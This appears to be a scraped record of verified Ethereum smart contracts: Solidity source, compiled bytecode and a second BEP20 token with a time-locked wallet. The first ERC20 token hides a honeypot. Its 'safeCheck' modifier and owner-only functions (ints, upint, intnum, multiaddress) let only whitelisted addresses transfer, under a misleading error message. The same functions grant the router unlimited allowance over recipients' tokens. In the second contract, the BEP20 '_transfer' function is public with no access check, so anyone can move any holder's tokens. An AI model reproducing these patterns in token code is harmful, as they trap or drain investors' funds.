bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_TSX(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205e2fc69512e06d97ff2d25f85e2ff5b8da71e0aabeccf8278dc7f5bcaf11a86d64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,586 |
0x2a0e83bfd866b11c1d344f5d8157ec3c08becf30
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract BEP20 is Context, Ownable, IBEP20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address towner, address spender) public view override returns (uint) {
return _allowances[towner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) public{
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address towner, address spender, uint amount) internal {
require(towner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[towner][spender] = amount;
emit Approval(towner, spender, amount);
}
}
contract BEP20Detailed is BEP20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory tname, string memory tsymbol, uint8 tdecimals) internal {
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeBEP20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract LockableWallet is Ownable{
using SafeMath for uint256;
// The token being sold change NAME to match above contract
BEP20 public realtoken;
//uint256 public totalAmountAvailable = 450000000 * (10**18);
uint256 public totalsold = 0;
// Address where funds are collected
address payable public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
uint256 public lockTime;
// Amount of wei raised
uint256 public weiRaised;
bool public canClaim = false;
mapping (address => uint) internal _walletbalances;
mapping (address => bool) internal _presalercollected;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
// change type of last parameter to match the above token
constructor(address payable _wallet, BEP20 tokenaddress, uint256 NumHours) public {
require(_wallet != address(0));
wallet = _wallet;
realtoken = tokenaddress;
lockTime = now + (NumHours * 60 * 60);
}
fallback () external payable {
}
receive () external payable {
}
function getFunds()public onlyOwner{
wallet.transfer(address(this).balance);
}
function setRealContractAddress(BEP20 contAdd)public onlyOwner{
realtoken = contAdd;
}
function setWallet(address payable newWallet)public onlyOwner{
wallet = newWallet;
}
function claimTokens() public onlyOwner{
require(now >= lockTime, "Current lock prevents withdrawal");
uint256 balance = realtoken.balanceOf(address(this));
realtoken.transfer(wallet, balance);
}
function setlocktime(uint256 NumHours)public onlyOwner{
require(now >= lockTime, "current Locktime cannot be changed");
lockTime = now + (NumHours *60 * 60);
}
